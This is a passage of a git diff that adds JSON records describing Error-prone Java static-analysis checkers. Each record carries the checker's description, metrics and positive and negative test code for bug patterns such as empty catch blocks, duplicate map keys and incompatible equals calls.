"simpleDateFormat_applyLocalizedPattern", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "import java.text.SimpleDateFormat;\n\n class Test {\n public void foo() {\n SimpleDateFormat format = new SimpleDateFormat();\n // BUG: Diagnostic contains: uses the field 'm' more than once\n format.applyLocalizedPattern(\"mm/dd/yyyy hh:mm:ss\");\n }\n }" + }, + { + "description": "forgotToEscapteSpecialCharacters", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "import java.text.SimpleDateFormat;\n\n class Test {\n // BUG: Diagnostic contains: uses the field 'W' more than once\n SimpleDateFormat format = new SimpleDateFormat(\"Week W ' of ' L\");\n }" + }, + { + "description": "withOptionalGroup", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "import java.text.SimpleDateFormat;\n\n class Test {\n // BUG: Diagnostic contains: uses the field 'm' more than once\n SimpleDateFormat format = new SimpleDateFormat(\"hh:mm[:ss] yyyy/mm/dd\");\n }" + }, + { + "description": "withNeestedOptionalGroup", + "expected-problems": null, + "expected-linenumbers": [ + 165 + ], + "code": "import java.text.SimpleDateFormat;\n\n class Test {\n // BUG: Diagnostic contains: uses the field 'm' more than once\n SimpleDateFormat format = new SimpleDateFormat(\"hh:mm[:ss[.SSS]] yyyy/mm/dd\");\n }" + }, + { + "description": "noDupliatedFields", + "expected-problems": null, + "expected-linenumbers": [ + 181 + ], + "code": "import java.text.SimpleDateFormat;\n\n class Test {\n SimpleDateFormat format = new SimpleDateFormat(\"yyyy-MM-dd\");\n }" + }, + { + "description": "ignoresEscapedPatternCharacters", + "expected-problems": null, + "expected-linenumbers": [ + 196 + ], + "code": "import java.text.SimpleDateFormat;\n\n class Test {\n SimpleDateFormat format = new SimpleDateFormat(\"'Week' W ' of ' L\");\n }" + }, + { + "description": "ignoredOptionalGroups", + "expected-problems": null, + "expected-linenumbers": [ + 211 + ], + "code": "import java.text.SimpleDateFormat;\n\nclass Test {\n SimpleDateFormat format = new SimpleDateFormat(\"yyyy'-'MM'-'dd'T'HH':'mm[':'ss][XXX][X]\");\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DuplicateMapKeys.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DuplicateMapKeys.json new file mode 100644 index 0000000..38c41e8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DuplicateMapKeys.json @@ -0,0 +1,30 @@ +{ + "name": "DuplicateMapKeys", + "language": "java", + "description": "Map#ofEntries will throw an IllegalArgumentException if there are any duplicate keys", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 71, + "branches": 8, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "package a;\n\nimport static java.util.Map.entry;\nimport java.util.Map;\n\nclass A {\n public static void test() {\n Map map =\n // BUG: Diagnostic contains: Foo\n Map.ofEntries(\n entry(\"Foo\", \"Bar\"), entry(\"Ping\", \"Pong\"), entry(\"Kit\", \"Kat\"), entry(\"Foo\", \"Bar\"));\n }\n}" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 58 + ], + "code": "package a;\n\nimport static java.util.Map.entry;\nimport java.util.Map;\n\nclass A {\n public static void test() {\n Map map =\n Map.ofEntries(\n entry(\"Foo\", \"Bar\"), entry(\"Ping\", \"Pong\"), entry(\"Kit\", \"Kat\"), entry(\"Food\", \"Bar\"));\n }\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EffectivelyPrivate.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EffectivelyPrivate.json new file mode 100644 index 0000000..adc9050 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EffectivelyPrivate.json @@ -0,0 +1,30 @@ +{ + "name": "EffectivelyPrivate", + "language": "java", + "description": "This declaration has public or protected modifiers, but is effectively private.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 98, + "branches": 12, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "class T {\n void f() {\n var r =\n new Runnable() {\n // BUG: Diagnostic contains:\n public void foo() {}\n\n @Override\n public void run() {}\n };\n }\n\n enum E implements Runnable {\n ONE {\n // BUG: Diagnostic contains:\n public void foo() {}\n\n @Override\n public void run() {}\n };\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "class T implements Runnable {\n void foo() {}\n\n @Override\n public void run() {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EmptyCatch.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EmptyCatch.json new file mode 100644 index 0000000..ccea298 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EmptyCatch.json @@ -0,0 +1,54 @@ +{ + "name": "EmptyCatch", + "language": "java", + "description": "Caught exceptions should not be ignored", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 46, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns;\n\n import static org.junit.Assert.fail;\n\n import org.junit.Test;\n\n /**\n * @author yuan@ece.toronto.edu (Ding Yuan)\n */\n public class EmptyCatchPositiveCases {\n public void error() throws IllegalArgumentException {\n throw new IllegalArgumentException(\"Fake exception.\");\n }\n\n public void catchIsCompleteEmpty() {\n try {\n error();\n } // BUG: Diagnostic contains:\n catch (Throwable t) {\n\n }\n }\n\n @Test\n public void expectedException() {\n try {\n System.err.println();\n fail();\n // BUG: Diagnostic contains:\n } catch (Exception expected) {\n }\n }\n }\\" + }, + { + "description": "expectedException", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "package com.google.errorprone.bugpatterns;\n\n import java.io.FileNotFoundException;\n\n /**\n * @author yuan@ece.toronto.edu (Ding Yuan)\n */\n public class EmptyCatchNegativeCases {\n public void error() throws IllegalArgumentException {\n throw new IllegalArgumentException(\"Fake exception.\");\n }\n\n public void harmlessError() throws FileNotFoundException {\n throw new FileNotFoundException(\"harmless exception.\");\n }\n\n public void close() throws IllegalArgumentException {\n // close() is an allowed method, so any exceptions\n // thrown by this method can be ignored!\n throw new IllegalArgumentException(\"Fake exception.\");\n }\n\n public void handledException() {\n int a = 0;\n try {\n error();\n } catch (Exception e) {\n a++; // handled here\n }\n }\n\n public void exceptionHandledByDataflow() {\n int a = 0;\n try {\n error();\n a = 10;\n } catch (Throwable t) {\n /* Although the exception is ignored here, it is actually\n * handled by the if check below.\n */\n }\n if (a != 10) {\n System.out.println(\"Exception is handled here..\");\n a++;\n }\n }\n\n public void exceptionHandledByControlFlow() {\n try {\n error();\n return;\n } catch (Throwable t) {\n /* Although the exception is ignored here, it is actually\n * handled by the return statement in the try block.\n */\n }\n System.out.println(\"Exception is handled here..\");\n }\n\n public void alreadyInCatch() {\n try {\n error();\n } catch (Throwable t) {\n try {\n error();\n } catch (Exception e) {\n // Although e is ignored, it is OK b/c we're already\n // in a nested catch block.\n }\n }\n }\n\n public void harmlessException() {\n try {\n harmlessError();\n } catch (FileNotFoundException e) {\n /* FileNotFoundException is a harmless exception and\n * it is OK to ignore it.\n */\n }\n }\n\n public void exemptedMethod() {\n try {\n close();\n } catch (Exception e) {\n // Although the exception is ignored, we can allow this b/c\n // it is thrown by an exempted method.\n }\n }\n\n public void comment() {\n int a = 0; // TODO\n try {\n error();\n // TODO\n /* FIXME */\n } catch (Throwable t) {\n // ignored\n }\n }\n\n public void catchIsLoggedOnly() {\n try {\n error();\n } catch (Throwable t) {\n System.out.println(\"Caught an exception: \" + t);\n }\n }\n }" + }, + { + "description": "addTestNgTest", + "expected-problems": null, + "expected-linenumbers": [ + 196 + ], + "code": "package org.testng.annotations;\n\n public @interface Test {}\n \n\n import org.testng.annotations.Test;\n\n public class SomeTest {\n @Test\n public void testNG() {\n try {\n System.err.println();\n // BUG: Diagnostic contains:\n } catch (Exception doNotCare) {\n }\n }\n }" + }, + { + "description": "testNG", + "expected-problems": null, + "expected-linenumbers": [ + 212 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EmptyIfStatement.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EmptyIfStatement.json new file mode 100644 index 0000000..e4b28a7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EmptyIfStatement.json @@ -0,0 +1,30 @@ +{ + "name": "EmptyIfStatement", + "language": "java", + "description": "Empty statement after if", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 73, + "branches": 21, + "apis": 1, + "test": [ + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 94 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class EmptyIfStatementNegativeCases {\n\n // just a normal use of if\n public static void negativeCase1() {\n int i = 10;\n if (i == 10) {\n System.out.println(\"foo\");\n }\n i++;\n }\n\n // empty then part but nonempty else\n public static void negativeCase2() {\n int i = 0;\n if (i == 10)\n ;\n else System.out.println(\"not 10\");\n }\n\n // multipart if with non-empty else\n public static void negativeCase3() {\n int i = 0;\n if (i == 10)\n ;\n else if (i == 11)\n ;\n else if (i == 12)\n ;\n else System.out.println(\"not 10, 11, or 12\");\n }\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 94 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class EmptyIfStatementNegativeCases {\n\n // just a normal use of if\n public static void negativeCase1() {\n int i = 10;\n if (i == 10) {\n System.out.println(\"foo\");\n }\n i++;\n }\n\n // empty then part but nonempty else\n public static void negativeCase2() {\n int i = 0;\n if (i == 10)\n ;\n else System.out.println(\"not 10\");\n }\n\n // multipart if with non-empty else\n public static void negativeCase3() {\n int i = 0;\n if (i == 10)\n ;\n else if (i == 11)\n ;\n else if (i == 12)\n ;\n else System.out.println(\"not 10, 11, or 12\");\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EmptyTopLevelDeclaration.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EmptyTopLevelDeclaration.json new file mode 100644 index 0000000..3865a06 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EmptyTopLevelDeclaration.json @@ -0,0 +1,38 @@ +{ + "name": "EmptyTopLevelDeclaration", + "language": "java", + "description": "Empty top-level type declarations should be omitted", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 55, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package a;\n\n class One {}" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 44 + ], + "code": "package a;\n\n class One {}\n // BUG: Diagnostic contains: remove\n ;" + }, + { + "description": "noImports", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "package errorpronecrash;\n // BUG: Diagnostic contains: Did you mean to remove this line?\n ;\n\n public class ReproFile {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EnumOrdinal.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EnumOrdinal.json new file mode 100644 index 0000000..3a570bd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EnumOrdinal.json @@ -0,0 +1,46 @@ +{ + "name": "EnumOrdinal", + "language": "java", + "description": "You should almost never invoke the Enum.ordinal() method or depend on the enum values by index.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 67, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "positive_enumOrdinal", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "enum TestEnum {\n FOO,\n BAR,\n }\n\n class Caller {\n public int callOrdinal() {\n // BUG: Diagnostic contains: ordinal\n return TestEnum.FOO.ordinal();\n }\n }" + }, + { + "description": "positive_enumValues_externalCall", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "enum TestEnum {\n FOO,\n BAR,\n }\n\n class Caller {\n public TestEnum callValues() {\n // BUG: Diagnostic contains: ordinal\n return TestEnum.values()[0];\n }\n }" + }, + { + "description": "negative_enumValues_internalCall", + "expected-problems": null, + "expected-linenumbers": [ + 72 + ], + "code": "enum TestEnum {\n FOO,\n BAR;\n\n private static TestEnum fromValues() {\n return values()[0];\n }\n }" + }, + { + "description": "negative_enumValues_noIndex", + "expected-problems": null, + "expected-linenumbers": [ + 90 + ], + "code": "enum TestEnum {\n FOO,\n BAR,\n }\n\n class Caller {\n public TestEnum[] callValues() {\n return TestEnum.values();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsGetClass.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsGetClass.json new file mode 100644 index 0000000..9e68ab9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsGetClass.json @@ -0,0 +1,94 @@ +{ + "name": "EqualsGetClass", + "language": "java", + "description": "Prefer instanceof to getClass when implementing Object#equals.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 270, + "branches": 36, + "apis": 3, + "test": [ + { + "description": "fixes_inline", + "expected-problems": null, + "expected-linenumbers": [ + 38 + ], + "code": "class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n return o != null && o.getClass().equals(getClass()) && a == ((Test) o).a;\n }\n }\n \n\n class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n return o instanceof Test && a == ((Test) o).a;\n }\n }" + }, + { + "description": "fixes_extraParens", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n return (o != null) && (o.getClass() == getClass()) && a == ((Test) o).a;\n }\n }\n \n\n class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n return (o instanceof Test) && a == ((Test) o).a;\n }\n }" + }, + { + "description": "separateNullCheck", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n if (o == null) {\n return false;\n }\n if (o.getClass() != getClass()) {\n return false;\n }\n return ((Test) o).a == a;\n }\n }\n \n\n class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n if (!(o instanceof Test)) {\n return false;\n }\n return ((Test) o).a == a;\n }\n }" + }, + { + "description": "separateNullCheck_withElse", + "expected-problems": null, + "expected-linenumbers": [ + 137 + ], + "code": "class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n if (o == null) {\n return false;\n } else {\n if (o.getClass() != getClass()) {\n return false;\n }\n return ((Test) o).a == a;\n }\n }\n }\n \n\n class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n if (!(o instanceof Test)) {\n return false;\n }\n return ((Test) o).a == a;\n }\n }" + }, + { + "description": "separateNullCheck_noParens", + "expected-problems": null, + "expected-linenumbers": [ + 177 + ], + "code": "class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n if (o == null) return false;\n else return o.getClass() == getClass() && ((Test) o).a == a;\n }\n }\n \n\n class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n return o instanceof Test && ((Test) o).a == a;\n }\n }" + }, + { + "description": "unnecessaryCast", + "expected-problems": null, + "expected-linenumbers": [ + 208 + ], + "code": "class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n if (o == null || !o.getClass().equals(((Object) this).getClass())) {\n return false;\n }\n return ((Test) o).a == a;\n }\n }\n \n\n class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n if (!(o instanceof Test)) {\n return false;\n }\n return ((Test) o).a == a;\n }\n }" + }, + { + "description": "positive_unfixable", + "expected-problems": null, + "expected-linenumbers": [ + 244 + ], + "code": "import com.google.common.base.Objects;\n\n class Test {\n private int a;\n\n @Override\n // BUG: Diagnostic matches: NO_FIX\n public boolean equals(Object o) {\n if (o == null) {\n return false;\n }\n if (!Objects.equal(o.getClass(), getClass())) {\n return false;\n }\n return ((Test) o).a == a;\n }\n }" + }, + { + "description": "negative_final", + "expected-problems": null, + "expected-linenumbers": [ + 272 + ], + "code": "final class Test {\n private int a;\n\n @Override\n public boolean equals(Object o) {\n if (o == null) {\n return false;\n }\n if (o.getClass() != getClass()) {\n return false;\n }\n return ((Test) o).a == a;\n }\n }" + }, + { + "description": "negative_anonymous", + "expected-problems": null, + "expected-linenumbers": [ + 296 + ], + "code": "final class Test {\n Object foo =\n new Object() {\n @Override\n public boolean equals(Object o) {\n if (o == null) {\n return false;\n }\n return o.getClass() == getClass();\n }\n };\n }" + }, + { + "description": "negative_notOnParameter", + "expected-problems": null, + "expected-linenumbers": [ + 318 + ], + "code": "class Test {\n private Object a;\n\n @Override\n public boolean equals(Object o) {\n if (o == null) {\n return false;\n }\n if (!(o instanceof Test)) {\n return false;\n }\n return ((Test) o).a.getClass() == a.getClass();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsHashCode.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsHashCode.json new file mode 100644 index 0000000..082cce9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsHashCode.json @@ -0,0 +1,94 @@ +{ + "name": "EqualsHashCode", + "language": "java", + "description": "Classes that override equals should also override hashCode.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 101, + "branches": 10, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "public class EqualsHashCodeTestPositiveCases {\n\n public static class EqualsOnly {\n // BUG: Diagnostic contains: Classes that override equals should also override hashCode\n public boolean equals(Object o) {\n return false;\n }\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "public class EqualsHashCodeTestNegativeCases {\n\n public static class EqualsAndHashCode {\n public boolean equals(Object o) {\n return false;\n }\n\n public int hashCode() {\n return 42;\n }\n }\n\n public static class HashCodeOnly {\n public int hashCode() {\n return 42;\n }\n }\n\n public static class Neither {}\n }\\" + }, + { + "description": "superClassWithoutHashCode", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "class Test extends Super {\n // BUG: Diagnostic contains:\n public boolean equals(Object o) {\n return false;\n }\n }" + }, + { + "description": "inherited", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "class Super {\n public int hashCode() {\n return 42;\n }\n }\n \n\n class Test extends Super {\n public boolean equals(Object o) {\n return false;\n }\n }" + }, + { + "description": "interfaceEquals", + "expected-problems": null, + "expected-linenumbers": [ + 121 + ], + "code": "interface I {\n boolean equals(Object o);\n }" + }, + { + "description": "abstractHashCode", + "expected-problems": null, + "expected-linenumbers": [ + 134 + ], + "code": "abstract class Super {\n public abstract boolean equals(Object o);\n\n public abstract int hashCode();\n }" + }, + { + "description": "abstractNoHashCode", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "abstract class Super {\n // BUG: Diagnostic contains:\n public abstract boolean equals(Object o);\n }" + }, + { + "description": "suppressOnEquals", + "expected-problems": null, + "expected-linenumbers": [ + 163 + ], + "code": "class Test {\n @SuppressWarnings(\"EqualsHashCode\")\n public boolean equals(Object o) {\n return false;\n }\n }" + }, + { + "description": "nopEquals", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "class Test {\n public boolean equals(Object o) {\n return super.equals(o);\n }\n }" + }, + { + "description": "nopEqualsWithNullable", + "expected-problems": null, + "expected-linenumbers": [ + 194 + ], + "code": "import javax.annotation.Nullable;\n\n class Test {\n public boolean equals(@Nullable Object o) {\n return super.equals(o);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsIncompatibleType.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsIncompatibleType.json new file mode 100644 index 0000000..3769bea --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsIncompatibleType.json @@ -0,0 +1,158 @@ +{ + "name": "EqualsIncompatibleType", + "language": "java", + "description": "An equality test between objects with incompatible types always returns false", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 192, + "branches": 14, + "apis": 5, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.common.collect.ImmutableList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\n/**\n * @author avenet@google.com (Arnaud J. Venet)\n */\npublic class EqualsIncompatibleTypePositiveCases {\n class A {}\n\n class B {}\n\n void checkEqualsAB(A a, B b) {\n // BUG: Diagnostic contains: incompatible types\n a.equals(b);\n // BUG: Diagnostic contains: incompatible types\n b.equals(a);\n }\n\n class C {}\n\n abstract class C1 extends C {\n public abstract boolean equals(Object o);\n }\n\n abstract class C2 extends C1 {}\n\n abstract class C3 extends C {}\n\n void checkEqualsCC1C2C3(C c, C1 c1, C2 c2, C3 c3) {\n // BUG: Diagnostic contains: incompatible types\n c3.equals(c1);\n // BUG: Diagnostic contains: incompatible types\n c3.equals(c2);\n // BUG: Diagnostic contains: incompatible types\n c1.equals(c3);\n // BUG: Diagnostic contains: incompatible types\n c2.equals(c3);\n }\n\n void checkStaticEqualsCC1C2C3(C c, C1 c1, C2 c2, C3 c3) {\n // BUG: Diagnostic contains: incompatible types\n java.util.Objects.equals(c3, c1);\n // BUG: Diagnostic contains: incompatible types\n java.util.Objects.equals(c3, c2);\n // BUG: Diagnostic contains: incompatible types\n java.util.Objects.equals(c1, c3);\n // BUG: Diagnostic contains: incompatible types\n java.util.Objects.equals(c2, c3);\n }\n\n void checkGuavaStaticEqualsCC1C2C3(C c, C1 c1, C2 c2, C3 c3) {\n // BUG: Diagnostic contains: incompatible types\n com.google.common.base.Objects.equal(c3, c1);\n // BUG: Diagnostic contains: incompatible types\n com.google.common.base.Objects.equal(c3, c2);\n // BUG: Diagnostic contains: incompatible types\n com.google.common.base.Objects.equal(c1, c3);\n // BUG: Diagnostic contains: incompatible types\n com.google.common.base.Objects.equal(c2, c3);\n }\n\n void checkPrimitiveEquals(int a, long b) {\n // BUG: Diagnostic contains: incompatible types\n java.util.Objects.equals(a, b);\n // BUG: Diagnostic contains: incompatible types\n java.util.Objects.equals(b, a);\n // BUG: Diagnostic contains: incompatible types\n com.google.common.base.Objects.equal(a, b);\n // BUG: Diagnostic contains: incompatible types\n com.google.common.base.Objects.equal(b, a);\n }\n\n interface I {\n boolean equals(Object o);\n }\n\n class D {}\n\n class D1 extends D {}\n\n class D2 extends D implements I {}\n\n void checkEqualsDD1D2(D d, D1 d1, D2 d2) {\n // BUG: Diagnostic contains: incompatible types\n d1.equals(d2);\n // BUG: Diagnostic contains: incompatible types\n d2.equals(d1);\n }\n\n enum MyEnum {}\n\n enum MyOtherEnum {}\n\n void enumEquals(MyEnum m, MyOtherEnum mm) {\n // BUG: Diagnostic contains: incompatible types\n m.equals(mm);\n // BUG: Diagnostic contains: incompatible types\n mm.equals(m);\n\n // BUG: Diagnostic contains: incompatible types\n com.google.common.base.Objects.equal(m, mm);\n // BUG: Diagnostic contains: incompatible types\n com.google.common.base.Objects.equal(mm, m);\n }\n\n void collectionsWithGenericMismatches(\n List stringList,\n List intList,\n Set stringSet,\n Set intSet,\n ImmutableList stringImmutableList) {\n\n // BUG: Diagnostic contains: incompatible types\n stringList.equals(intList);\n\n // BUG: Diagnostic contains: incompatible types\n stringSet.equals(intSet);\n\n // BUG: Diagnostic contains: incompatible types\n stringList.equals(stringSet);\n\n // BUG: Diagnostic contains: incompatible types\n intList.equals(stringImmutableList);\n }\n\n void mapKeyChecking(\n Map stringIntegerMap,\n Map integerStringMap,\n Map, Set> stringListSetMap,\n Map, Set> intListSetMap) {\n // BUG: Diagnostic contains: incompatible types\n stringIntegerMap.equals(integerStringMap);\n\n // BUG: Diagnostic contains: incompatible types\n stringListSetMap.equals(intListSetMap);\n }\n\n void nestedColls(Set> setListString, Set> setListInteger) {\n // BUG: Diagnostic contains: String and Integer are incompatible\n boolean equals = setListString.equals(setListInteger);\n }\n\n class MyGenericClazz {}\n\n void testSomeGenerics(\n MyGenericClazz strClazz, MyGenericClazz intClazz, MyGenericClazz iClazz) {\n // BUG: Diagnostic contains: String and Integer are incompatible\n strClazz.equals(intClazz);\n\n // BUG: Diagnostic contains: T and String are incompatible\n iClazz.equals(strClazz);\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 202 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.common.collect.ImmutableList;\n import com.google.common.collect.ImmutableSet;\n import java.util.List;\n import java.util.Set;\n\n /**\n * @author avenet@google.com (Arnaud J. Venet)\n */\n public class EqualsIncompatibleTypeNegativeCases {\n class A {\n public boolean equals(Object o) {\n if (o instanceof A) {\n return true;\n }\n return false;\n }\n }\n\n class B1 extends A {}\n\n class B2 extends A {}\n\n class B3 extends B2 {}\n\n void checkEqualsAB1B2B3(A a, B1 b1, B2 b2, B3 b3) {\n a.equals(a);\n a.equals(b1);\n a.equals(b2);\n a.equals(b3);\n a.equals(null);\n\n b1.equals(a);\n b1.equals(b1);\n b1.equals(b2);\n b1.equals(b3);\n b1.equals(null);\n\n b2.equals(a);\n b2.equals(b1);\n b2.equals(b2);\n b2.equals(b3);\n b2.equals(null);\n\n b3.equals(a);\n b3.equals(b1);\n b3.equals(b2);\n b3.equals(b3);\n b3.equals(null);\n }\n\n void checks(Object o, boolean[] bools, boolean bool) {\n o.equals(bool);\n o.equals(bools[0]);\n }\n\n void checkJUnit(B1 b1, B2 b2) {\n org.junit.Assert.assertFalse(b1.equals(b2));\n }\n\n void checkStaticEquals(A a, B1 b1, B2 b2, B3 b3) {\n java.util.Objects.equals(a, a);\n java.util.Objects.equals(a, b1);\n java.util.Objects.equals(a, b2);\n java.util.Objects.equals(a, b3);\n java.util.Objects.equals(a, null);\n\n java.util.Objects.equals(b1, b3);\n java.util.Objects.equals(b2, b3);\n java.util.Objects.equals(b3, b3);\n java.util.Objects.equals(null, b3);\n }\n\n void checkGuavaStaticEquals(A a, B1 b1, B2 b2, B3 b3) {\n com.google.common.base.Objects.equal(a, a);\n com.google.common.base.Objects.equal(a, b1);\n com.google.common.base.Objects.equal(a, b2);\n com.google.common.base.Objects.equal(a, b3);\n com.google.common.base.Objects.equal(a, null);\n\n com.google.common.base.Objects.equal(b1, b3);\n com.google.common.base.Objects.equal(b2, b3);\n com.google.common.base.Objects.equal(b3, b3);\n com.google.common.base.Objects.equal(null, b3);\n }\n\n class C {}\n\n abstract class C1 extends C {\n public abstract boolean equals(Object o);\n }\n\n abstract class C2 extends C1 {}\n\n abstract class C3 extends C1 {}\n\n void checkEqualsC1C2C3(C1 c1, C2 c2, C3 c3) {\n c1.equals(c1);\n c1.equals(c2);\n c1.equals(c3);\n c1.equals(null);\n\n c2.equals(c1);\n c2.equals(c2);\n c2.equals(c3);\n c2.equals(null);\n\n c3.equals(c1);\n c3.equals(c2);\n c3.equals(c3);\n c3.equals(null);\n }\n\n interface I {\n boolean equals(Object o);\n }\n\n class E1 implements I {}\n\n class E2 implements I {}\n\n class E3 extends E2 {}\n\n void checkEqualsIE1E2E3(\n I e, E1 e1, E2 e2, E3 e3, List eList, List e1List, List e2List) {\n e.equals(e);\n e.equals(e1);\n e.equals(e2);\n e.equals(e3);\n e.equals(null);\n\n e1.equals(e);\n e1.equals(e1);\n e1.equals(e2);\n e1.equals(e3);\n e1.equals(null);\n\n e2.equals(e);\n e2.equals(e1);\n e2.equals(e2);\n e2.equals(e3);\n e2.equals(null);\n\n e3.equals(e);\n e3.equals(e1);\n e3.equals(e2);\n e3.equals(e3);\n e3.equals(null);\n\n eList.equals(e1List);\n eList.equals(e2List);\n eList.equals(null);\n\n e1List.equals(eList);\n e1List.equals(e2List);\n e1List.equals(null);\n\n e2List.equals(eList);\n e2List.equals(e1List);\n e2List.equals(null);\n }\n\n void collectionStuff(\n List rawList,\n List stringList,\n Set stringSet,\n ImmutableSet immutableStringSet,\n ImmutableList immutableStringList) {\n\n // With raw types, we can't be sure. So... /shrug\n rawList.equals(stringList);\n\n stringSet.equals(immutableStringSet);\n stringList.equals(immutableStringList);\n }\n\n interface J {}\n\n class F1 implements J {}\n\n abstract class F2 {\n public abstract boolean equals(J o);\n }\n\n void checkOtherEquals(F1 f1, F2 f2) {\n f2.equals(f1);\n }\n }\\" + }, + { + "description": "negativeCase_recursive", + "expected-problems": null, + "expected-linenumbers": [ + 401 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.time.DayOfWeek;\nimport java.time.Month;\nimport 